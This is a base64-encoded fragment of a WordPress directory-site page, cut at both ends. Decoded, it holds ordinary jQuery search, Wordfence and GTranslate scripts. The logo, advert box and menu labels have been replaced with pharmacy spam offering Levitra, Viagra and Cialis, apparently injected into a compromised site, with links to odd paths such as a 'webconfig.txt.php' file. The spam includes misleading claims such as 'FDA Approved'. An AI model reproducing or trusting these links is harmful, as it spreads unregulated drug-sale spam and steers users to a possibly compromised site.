h1bWFuKTsKCQl9Cgl9OwoJZm9yICh2YXIgaSA9IDA7IGkgPCBldnRzLmxlbmd0aDsgaSsrKSB7CgkJYWRkRXZlbnQoZXZ0c1tpXSwgbG9nSHVtYW4pOwoJfQp9KSgnLy9mdW5ydW5uZXJzYmVhY2hlcy51cy8/d29yZGZlbmNlX2xoPTEmaGlkPTNEODVFNENGMEIyRTRBRTUzRjI3MEI3OEEzRjAzQkM3Jyk7Cjwvc2NyaXB0PjxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE2LzEyL3BhdzEtMTUweDE1MC5wbmciIHNpemVzPSIzMngzMiIgLz4KPGxpbmsgcmVsPSJpY29uIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC91cGxvYWRzLzIwMTYvMTIvcGF3MS0zMDB4MzAwLnBuZyIgc2l6ZXM9IjE5MngxOTIiIC8+CjxsaW5rIHJlbD0iYXBwbGUtdG91Y2gtaWNvbi1wcmVjb21wb3NlZCIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE2LzEyL3BhdzEtMzAweDMwMC5wbmciIC8+CjxtZXRhIG5hbWU9Im1zYXBwbGljYXRpb24tVGlsZUltYWdlIiBjb250ZW50PSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC91cGxvYWRzLzIwMTYvMTIvcGF3MS0zMDB4MzAwLnBuZyIgLz4KCgkJPHNjcmlwdD4KCQkgICdhcnRpY2xlIGFzaWRlIGZvb3RlciBoZWFkZXIgbmF2IHNlY3Rpb24gdGltZScucmVwbGFjZSgvXHcrL2csZnVuY3Rpb24obil7IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQobikgfSkKCQk8L3NjcmlwdD4KCgkJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCWpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oJCkgewoKCQkJdmFyIGNhdGVnb3JpZXMgPSBbIHsgdmFsdWU6ICIxMTQiICwgbGFiZWw6ICJCYXJzIiB9LHsgdmFsdWU6ICI3NSIgLCBsYWJlbDogIkNsdWJzIiB9LHsgdmFsdWU6ICI0MiIgLCBsYWJlbDogIkNvbnRlc3QiIH0seyB2YWx1ZTogIjMxIiAsIGxhYmVsOiAiRW50ZXJ0YWlubWVudCIgfSx7IHZhbHVlOiAiMzQiICwgbGFiZWw6ICJFdmVudHMiIH0seyB2YWx1ZTogIjMzIiAsIGxhYmVsOiAiTG9kZ2luZyIgfSx7IHZhbHVlOiAiMjkiICwgbGFiZWw6ICJPdGhlciBPd25lciBPcGVyYXRlZCIgfSx7IHZhbHVlOiAiMzkiICwgbGFiZWw6ICJSZXN0YXVyYW50cyIgfSBdOwoKCQkJdmFyIGxvY2F0aW9ucyA9IFsgeyB2YWx1ZTogIjExMyIgLCBsYWJlbDogIkNhbGlmb3JuaWEiIH0seyB2YWx1ZTogIjc4IiAsIGxhYmVsOiAiLSZuYnNwO0xvcyBBbmdlbGVzIiB9LHsgdmFsdWU6ICIxMDkiICwgbGFiZWw6ICJDb2xvcmFkbyIgfSx7IHZhbHVlOiAiOTciICwgbGFiZWw6ICItJm5ic3A7RGVudmVyIiB9LHsgdmFsdWU6ICIxMDMiICwgbGFiZWw6ICJDb25uZWN0aWN1dCIgfSx7IHZhbHVlOiAiMTA0IiAsIGxhYmVsOiAiLSZuYnNwO0hhcnRmb3JkIiB9LHsgdmFsdWU6ICIxMDYiICwgbGFiZWw6ICJJbGxpbm9pcyIgfSx7IHZhbHVlOiAiNzkiICwgbGFiZWw6ICItJm5ic3A7Q2hpY2FnbyIgfSx7IHZhbHVlOiAiMTA1IiAsIGxhYmVsOiAiTWFzc2FjaHVzZXR0cyIgfSx7IHZhbHVlOiAiMTAwIiAsIGxhYmVsOiAiLSZuYnNwO0Jvc3RvbiIgfSx7IHZhbHVlOiAiMTEwIiAsIGxhYmVsOiAiTWljaGlnYW4iIH0seyB2YWx1ZTogIjk0IiAsIGxhYmVsOiAiLSZuYnNwO0RldHJvaXQiIH0seyB2YWx1ZTogIjExMiIgLCBsYWJlbDogIk5ldmFkYSIgfSx7IHZhbHVlOiAiMTAyIiAsIGxhYmVsOiAiLSZuYnNwO0xhcyBWZWdhcyIgfSx7IHZhbHVlOiAiMTA3IiAsIGxhYmVsOiAiTmV3IFlvcmsiIH0seyB2YWx1ZTogIjQ2IiAsIGxhYmVsOiAiLSZuYnNwO05ldyBZb3JrIENpdHkiIH0seyB2YWx1ZTogIjEwOCIgLCBsYWJlbDogIlRleGFzIiB9LHsgdmFsdWU6ICI4NSIgLCBsYWJlbDogIi0mbmJzcDtEYWxsYXMiIH0seyB2YWx1ZTogIjExMSIgLCBsYWJlbDogIldhc2hpbmd0b24iIH0seyB2YWx1ZTogIjk2IiAsIGxhYmVsOiAiLSZuYnNwO1NlYXR0bGUiIH0gXTsKCgkJCXZhciBjYXRJbnB1dCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5IiApLAoJCQkJY2F0SW5wdXRJRCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkIiApLAoJCQkJbG9jSW5wdXQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbiIgKSwKCQkJCWxvY0lucHV0SUQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCIgKTsKCgkJCWNhdElucHV0LmF1dG9jb21wbGV0ZSh7CgkJCQltaW5MZW5ndGg6IDAsCgkJCQlzb3VyY2U6IGNhdGVnb3JpZXMsCgkJCQlmb2N1czogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJY2F0SW5wdXQudmFsKCB2YWwgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9LAoJCQkJc2VsZWN0OiBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCQkJCXZhciB2YWwgPSB1aS5pdGVtLmxhYmVsLnJlcGxhY2UoLyZhbXA7L2csICImIik7CgkJCQkJCXZhbCA9IHZhbC5yZXBsYWNlKC8mbmJzcDsvZywgIiAiKS5yZXBsYWNlKC8mIzAzOTsvZywgIiciKTsKCQkJCQljYXRJbnB1dC52YWwoIHZhbCApOwoJCQkJCWNhdElucHV0SUQudmFsKCB1aS5pdGVtLnZhbHVlICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9KS5kYXRhKCAidWktYXV0b2NvbXBsZXRlIiApLl9yZW5kZXJJdGVtID0gZnVuY3Rpb24oIHVsLCBpdGVtICkgewoJCQkJcmV0dXJuICQoICI8bGk+IiApCgkJCQkJLmRhdGEoICJpdGVtLmF1dG9jb21wbGV0ZSIsIGl0ZW0gKQoJCQkJCS5hcHBlbmQoICI8YT4iICsgaXRlbS5sYWJlbCArICI8L2E+IiApCgkJCQkJLmFwcGVuZFRvKCB1bCApOwoJCQl9OwoJCQl2YXIgY2F0TGlzdCA9IGNhdElucHV0LmF1dG9jb21wbGV0ZSggIndpZGdldCIgKTsKCQkJY2F0TGlzdC5uaWNlU2Nyb2xsKHsgYXV0b2hpZGVtb2RlOiBmYWxzZSB9KTsKCgkJCWNhdElucHV0LmNsaWNrKGZ1bmN0aW9uKCl7CgkJCQljYXRJbnB1dC52YWwoJycpOwoJCQkJY2F0SW5wdXRJRC52YWwoJzAnKTsKCQkJCWNhdElucHV0LmF1dG9jb21wbGV0ZSggInNlYXJjaCIsICIiICk7CgkJCX0pOwoKCQkJbG9jSW5wdXQuYXV0b2NvbXBsZXRlKHsKCQkJCW1pbkxlbmd0aDogMCwKCQkJCXNvdXJjZTogbG9jYXRpb25zLAoJCQkJZm9jdXM6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJCQkJdmFyIHZhbCA9IHVpLml0ZW0ubGFiZWwucmVwbGFjZSgvJmFtcDsvZywgIiYiKTsKCQkJCQkJdmFsID0gdmFsLnJlcGxhY2UoLyZuYnNwOy9nLCAiICIpLnJlcGxhY2UoLyYjMDM5Oy9nLCAiJyIpOwoJCQkJCWxvY0lucHV0LnZhbCggdmFsICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfSwKCQkJCXNlbGVjdDogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJbG9jSW5wdXQudmFsKCB2YWwgKTsKCQkJCQlsb2NJbnB1dElELnZhbCggdWkuaXRlbS52YWx1ZSApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJfSkuZGF0YSggInVpLWF1dG9jb21wbGV0ZSIgKS5fcmVuZGVySXRlbSA9IGZ1bmN0aW9uKCB1bCwgaXRlbSApIHsKCQkJCXJldHVybiAkKCAiPGxpPiIgKQoJCQkJCS5kYXRhKCAiaXRlbS5hdXRvY29tcGxldGUiLCBpdGVtICkKCQkJCQkuYXBwZW5kKCAiPGE+IiArIGl0ZW0ubGFiZWwgKyAiPC9hPiIgKQoJCQkJCS5hcHBlbmRUbyggdWwgKTsKCQkJfTsKCQkJdmFyIGxvY0xpc3QgPSBsb2NJbnB1dC5hdXRvY29tcGxldGUoICJ3aWRnZXQiICk7CgkJCWxvY0xpc3QubmljZVNjcm9sbCh7IGF1dG9oaWRlbW9kZTogZmFsc2UgfSk7CgoJCQlsb2NJbnB1dC5jbGljayhmdW5jdGlvbigpewoJCQkJbG9jSW5wdXQudmFsKCcnKTsKCQkJCWxvY0lucHV0SUQudmFsKCcwJyk7CgkJCQlsb2NJbnB1dC5hdXRvY29tcGxldGUoICJzZWFyY2giLCAiIiApOwoJCQl9KTsKCgoKCQl9KTsKCQk8L3NjcmlwdD4KCgk8L2hlYWQ+CgoJPGJvZHkgY2xhc3M9InBhZ2UtaWQtNTUyNDQ5Ij4KCgkJPGRpdiBpZD0icGFnZSIgY2xhc3M9ImhmZWVkICBuYXJyb3ciID4KCgoKPGRpdiBpZD0iYWR2ZXJ0aXNpbmctYm94LTEiIGNsYXNzPSJhZHZlcnRpc2luZy1ib3giPgoJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCBjbGVhcmZpeCI+CgkJPGRpdj48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvYS8iPk5ldyBkcnVnIGxldml0cmE8L2E+PC9kaXY+CgkgPC9kaXY+CjwvZGl2PgoKPGRpdiBjbGFzcz0idG9wYmFyIGNsZWFyZml4Ij4KPC9kaXY+Cgo8aGVhZGVyIGlkPSJicmFuZGluZyIgcm9sZT0iYmFubmVyIj4KCTxkaXYgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGggY2xlYXJmaXgiPgoJCTxkaXYgaWQ9ImxvZ28iIGNsYXNzPSJsZWZ0Ij4KCQkJCTxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8lNUMlMjJodHRwOiU1Qy8lNUMvZnVucnVubmVyc2JlYWNoZXMudXMlNUMvJTVDJTIyIj5TaG9wIExldml0cmEgU29mdCBpbiBOYXVydSBZYXJlbjwvYT4KCQk8L2Rpdj4KCgkJPG5hdiBpZD0iYWNjZXNzIiByb2xlPSJuYXZpZ2F0aW9uIj4KCgkJCQkKPG5hdiBjbGFzcz0ibWFpbm1lbnUiPjx1bCBpZD0ibWVudS1tYWluLW1lbnUiIGNsYXNzPSJtZW51Ij48bGkgaWQ9Im1lbnUtaXRlbS04MjExIiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLWhvbWUgY3VycmVudC1tZW51LWl0ZW0gcGFnZV9pdGVtIHBhZ2UtaXRlbS03IGN1cnJlbnRfcGFnZV9pdGVtIG1lbnUtaXRlbS04MjExIj48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL3NlbGVjdGVkT3B0cy5jb250ZW50LyI+UHVyY2hhc2UgRXh0cmEgU3VwZXIgVmlhZ3JhIGluIFFhdGFyIERvaGE8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODI0NCIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjQ0Ij48YSBocmVmPSJodHRwczovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLy93ZWJjb25maWcudHh0LnBocCI+T3JkZXIgTGV2aXRyYSBTdXBlciBBY3RpdmUgaW4gQmVsZ2l1bSBCcnVzc2VsczwvYT48L2xpPgo8bGkgaWQ9Im1lbnUtaXRlbS04MjM0IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLTgyMzQiPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/cGFnZV9pZD01MDAyIj5PcmRlciBCcmFuZCBMZXZpdHJhIGluIEpvcmRhbiBBbW1hbjwvYT48L2xpPgo8bGkgaWQ9Im1lbnUtaXRlbS04MjEyIiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLTgyMTIiPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWxvY2F0aW9uPXRleGFzIj5TbmFwIHVwIEthbWFncmEgb25saW5lIGNoZWFwPC9hPjwvbGk+CjxsaSBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS1ndHJhbnNsYXRlIj48ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsiIGlkPSJndHJhbnNsYXRlX3dyYXBwZXIiPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgouc3dpdGNoZXIge2ZvbnQtZmFtaWx5OkFyaWFsO2ZvbnQtc2l6ZToxMHB0O3RleHQtYWxpZ246bGVmdDtjdXJzb3I6cG9pbnRlcjtvdmVyZmxvdzpoaWRkZW47d2lkdGg6MTYzcHg7bGluZS1oZWlnaHQ6MTdweDt9Ci5zd2l0Y2hlciBhIHt0ZXh0LWRlY29yYXRpb246bm9uZTtkaXNwbGF5OmJsb2NrO2ZvbnQtc2l6ZToxMHB0Oy13ZWJraXQtYm94LXNpemluZzpjb250ZW50LWJveDstbW96LWJveC1zaXppbmc6Y29udGVudC1ib3g7Ym94LXNpemluZzpjb250ZW50LWJveDt9Ci5zd2l0Y2hlciBhIGltZyB7dmVydGljYWwtYWxpZ246bWlkZGxlO2Rpc3BsYXk6aW5saW5lO2JvcmRlcjowO3BhZGRpbmc6MDttYXJnaW46MDtvcGFjaXR5OjAuODt9Ci5zd2l0Y2hlciBhOmhvdmVyIGltZyB7b3BhY2l0eToxO30KLnN3aXRjaGVyIC5zZWxlY3RlZCB7YmFja2dyb3VuZDojRkZGRkZGIHVybChodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvc3dpdGNoZXIucG5nKSByZXBlYXQteDtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4Ojk5OTk7fQouc3dpdGNoZXIgLnNlbGVjdGVkIGEge2JvcmRlcjoxcHggc29saWQgI0NDQ0NDQztiYWNrZ3JvdW5kOnVybChodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvYXJyb3dfZG93bi5wbmcpIDE0NnB4IGNlbnRlciBuby1yZXBlYXQ7Y29sb3I6IzY2NjY2NjtwYWRkaW5nOjNweCA1cHg7d2lkdGg6MTUxcHg7fQouc3dpdGNoZXIgLnNlbGVjdGVkIGEub3BlbiB7YmFja2dyb3VuZC1pbWFnZTp1cmwoaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2Fycm93X3VwLnBuZyl9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQgYTpob3ZlciB7YmFja2dyb3VuZDojRjBGMEYwIHVybChodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvYXJyb3dfZG93bi5wbmcpIDE0NnB4IGNlbnRlciBuby1yZXBlYXQ7fQouc3dpdGNoZXIgLm9wdGlvbiB7cG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDo5OTk4O2JvcmRlci1sZWZ0OjFweCBzb2xpZCAjQ0NDQ0NDO2JvcmRlci1yaWdodDoxcHggc29saWQgI0NDQ0NDQztib3JkZXItYm90dG9tOjFweCBzb2xpZCAjQ0NDQ0NDO2JhY2tncm91bmQtY29sb3I6I0VFRUVFRTtkaXNwbGF5Om5vbmU7d2lkdGg6MTYxcHg7bWF4LWhlaWdodDoxOThweDstd2Via2l0LWJveC1zaXppbmc6Y29udGVudC1ib3g7LW1vei1ib3gtc2l6aW5nOmNvbnRlbnQtYm94O2JveC1zaXppbmc6Y29udGVudC1ib3g7b3ZlcmZsb3cteTphdXRvO292ZXJmbG93LXg6aGlkZGVuO30KLnN3aXRjaGVyIC5vcHRpb24gYSB7Y29sb3I6IzAwMDtwYWRkaW5nOjNweCA1cHg7fQouc3dpdGNoZXIgLm9wdGlvbiBhOmhvdmVyIHtiYWNrZ3JvdW5kOiNGRkM7fQouc3dpdGNoZXIgLm9wdGlvbiBhLnNlbGVjdGVkIHtiYWNrZ3JvdW5kOiNGRkM7fQojc2VsZWN0ZWRfbGFuZ19uYW1lIHtmbG9hdDogbm9uZTt9Ci5sX25hbWUge2Zsb2F0OiBub25lICFpbXBvcnRhbnQ7bWFyZ2luOiAwO30KLnN3aXRjaGVyIC5vcHRpb246Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrey13ZWJraXQtYm94LXNoYWRvdzppbnNldCAwIDAgM3B4IHJnYmEoMCwwLDAsMC4zKTtib3JkZXItcmFkaXVzOjVweDtiYWNrZ3JvdW5kLWNvbG9yOiNGNUY1RjU7fQouc3dpdGNoZXIgLm9wdGlvbjo6LXdlYmtpdC1zY3JvbGxiYXIge3dpZHRoOjVweDt9Ci5zd2l0Y2hlciAub3B0aW9uOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7Ym9yZGVyLXJhZGl1czo1cHg7LXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDAgM3B4IHJnYmEoMCwwLDAsLjMpO2JhY2tncm91bmQtY29sb3I6Izg4ODt9Cjwvc3R5bGU+CjxkaXYgY2xhc3M9InN3aXRjaGVyIG5vdHJhbnNsYXRlIj4KPGRpdiBjbGFzcz0ic2VsZWN0ZWQiPgo8YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1jYXRlZ29yeT1wZXQtZGF5Y2FyZSI+QWNxdWlyZSBMZXZpdHJhIEplbGx5IG9ubGluZSBjaGVhcDwvYT4KPC9kaXY+CjxkaXYgY2xhc3M9Im9wdGlvbiI+CjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWNhdGVnb3J5PWtlbm5lbHMiPlNob3AgQ2lhbGlzIEJsYWNrIHdpdGggVmlzYTwvYT48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1jYXRlZ29yeT1wZXQtc2l0dGVycyI+Q2lhbGlzIFNvZnQgZWZmZWN0cyAtIEZEQSBBcHByb3ZlZDwvYT48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP3BhZ2VfaWQ9ODA2OSI+QnV5IEJyYW5kIExldml0cmEgY2hlYXA8L2E+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9haXQtZGlyLWl0ZW0tY2F0ZWdvcnk9cGV0LXNpdHRlcnMtMiI+V2hvIG93bnMgdmlhZ3JhPC9hPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWxvY2F0aW9uPW5ldy15b3JrLTIiPk9yZGVyIFN1cGVyIExldml0cmEgb25saW5lIGNoZWFwPC9hPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/cD04Mjg0Ij5QdXJjaGFzZSBDaWFsaXMgSmVsbHkgLSBhY2NlcHQgQml0Y29pbjwvYT48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1jYXRlZ29yeT1wZXQtYmxvZ3MiPlNob3AgU3VwZXIgQ2lhbGlzIGluIFNhaW50IFZpbmNlbnQgYW5kIHRoZSBHcmVuYWRpbmVzIEtpbmdzdG93bjwvYT48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1jYXRlZ29yeT1wZXQtZnJpZW5kbHktaG90ZWxzLW1vdGVscyI+RmVtYWxlIENpYWxpcyBlZmZlY3RzIC0gQ291cG9ucyAmIFBoYXJtYWN5IEluZm9ybWF0aW9uPC9hPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvR1RyYW5zbGF0ZSgnZW58cnUnKTtqUXVlcnkoJ2Rpdi5zd2l0Y2hlciBkaXYuc2VsZWN0ZWQgYScpLmh0bWwoalF1ZXJ5KHRoaXMpLmh0bWwoKSk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IlJ1c3NpYW4iIGNsYXNzPSJudHVybCI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9mbGFncy8xNi9ydS5wbmciIGhlaWdodD0iMTYiIHdpZHRoPSIxNiIgYWx0PSJydSIgLz4gUnVzc2lhbjwvYT48YSBocmVmPSIjIiBvbmNsaWNrPSJkb0dUcmFuc2xhdGUoJ2VufGVzJyk7alF1ZXJ5KCdkaXYuc3dpdGNoZXIgZGl2LnNlbGVjdGVkIGEnKS5odG1sKGpRdWVyeSh0aGlzKS5odG1sKCkpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJTcGFuaXNoIiBjbGFzcz0ibnR1cmwiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvZmxhZ3MvMTYvZXMucG5nIiBoZWlnaHQ9IjE2IiB3aWR0aD0iMTYiIGFsdD0iZXMiIC8+IFNwYW5pc2g8L2E+PC9kaXY+CjwvZGl2Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmpRdWVyeSgnLnN3aXRjaGVyIC5zZWxlY3RlZCcpLmNsaWNrKGZ1bmN0aW9uKCkge2lmKCEoalF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLmlzKCc6dmlzaWJsZScpKSkge2pRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5zdG9wKHRydWUsdHJ1ZSkuZGVsYXkoMTAwKS5zbGlkZURvd24oNTAwKTtqUXVlcnkoJy5zd2l0Y2hlciAuc2VsZWN0ZWQgYScpLnRvZ2dsZUNsYXNzKCdvcGVuJyl9fSk7CmpRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5iaW5kKCdtb3VzZXdoZWVsJywgZnVuY3Rpb24oZSkge3ZhciBvcHRpb25zID0galF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpO2lmKG9wdGlvbnMuaXMoJzp2aXNpYmxlJykpb3B0aW9ucy5zY3JvbGxUb3Aob3B0aW9ucy5zY3JvbGxUb3AoKSAtIGUub3JpZ2luYWxFdmVudC53aGVlbERlbHRhKTtyZXR1cm4gZmFsc2U7fSk7CmpRdWVyeSgnYm9keScpLm5vdCgnLnN3aXRjaGVyJykuY2xpY2soZnVuY3Rpb24oZSkge2lmKGpRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5pcygnOnZpc2libGUnKSAmJiBlLnRhcmdldCAhPSBqUXVlcnkoJy5zd2l0Y2hlciAub3B0aW9uJykuZ2V0KDApKSB7alF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLnN0b3AodHJ1ZSx0cnVlKS5kZWxheSgxMDApLnNsaWRlVXAoNTAwKTtqUXVlcnkoJy5zd2l0Y2hlciAuc2VsZWN0ZWQgYScpLnRvZ2dsZUNsYXNzKCdvcGVuJyl9fSk7Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgojZ29vZy1ndC10dCB7ZGlzcGxheTpub25lICFpbXBvcnRhbnQ7fQouZ29vZy10ZS1iYW5uZXItZnJhbWUge2Rpc3BsYXk6bm9uZSAhaW1wb3J0YW50O30KLmdvb2ctdGUtbWVudS12YWx1ZTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOm5vbmUgIWltcG9ydGFudDt9Ci5nb29nLXRleHQtaGlnaGxpZ2h0IHtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50ICFpbXBvcnRhbnQ7Ym94LXNoYWRvdzpub25lICFpbXBvcnRhbnQ7fQpib2R5IHt0b3A6MCAhaW1wb3J0YW50O30KI2dvb2dsZV90cmFuc2xhdGVfZWxlbWVudDIge2Rpc3BsYXk6bm9uZSFpbXBvcnRhbnQ7fQo8L3N0eWxlPgoKPGRpdiBpZD0iZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MiI+PC9kaXY+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gZ29vZ2xlVHJhbnNsYXRlRWxlbWVudEluaXQyKCkge25ldyBnb29nbGUudHJhbnNsYXRlLlRyYW5zbGF0ZUVsZW1lbnQoe3BhZ2VMYW5ndWFnZTogJ2VuJyxhdXRvRGlzcGxheTogZmFsc2V9LCAnZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MicpO30KPC9zY3JpcHQ+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iLy90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGVfYS9lbGVtZW50LmpzP2NiPWdvb2dsZVRyYW5zbGF0ZUVsZW1lbnRJbml0MiI+PC9zY3JpcHQ+CgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSB7dmFyIGtleVZhbHVlID0gZG9jdW1lbnRbJ2Nvb2tpZSddLm1hdGNoKCcoXnw7KSA/Z29vZ3RyYW5zPShbXjtdKikoO3wkKScpO3JldHVybiBrZXlWYWx1ZSA/IGtleVZhbHVlWzJdLnNwbGl0KCcvJylbMl0gOiBudWxsO30KZnVuY3Rpb24gR1RyYW5zbGF0ZUZpcmVFdmVudChlbGVtZW50LGV2ZW50KXt0cnl7aWYoZG9jdW1lbnQuY3JlYXRlRXZlbnRPYmplY3Qpe3ZhciBldnQ9ZG9jdW1lbnQuY3JlYXRlRXZlbnRPYmplY3QoKTtlbGVtZW50LmZpcmVFdmVudCgnb24nK2V2ZW50LGV2dCl9ZWxzZXt2YXIgZXZ0PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCdIVE1MRXZlbnRzJyk7ZXZ0LmluaXRFdmVudChldmVudCx0cnVlLHRydWUpO2VsZW1lbnQuZGlzcGF0Y2hFdmVudChldnQpfX1jYXRjaChlKXt9fQpmdW5jdGlvbiBkb0dUcmFuc2xhdGUobGFuZ19wYWlyKXtpZihsYW5nX3BhaXIudmFsdWUpbGFuZ19wYWlyPWxhbmdfcGFpci52YWx1ZTtpZihsYW5nX3BhaXI9PScnKXJldHVybjt2YXIgbGFuZz1sYW5nX3BhaXIuc3BsaXQoJ3wnKVsxXTtpZihHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSA9PSBudWxsICYmIGxhbmcgPT0gbGFuZ19wYWlyLnNwbGl0KCd8JylbMF0pcmV0dXJuO3ZhciB0ZUNvbWJvO3ZhciBzZWw9ZG9jdW1lbnQuZ2V0RWxlbWVudHNC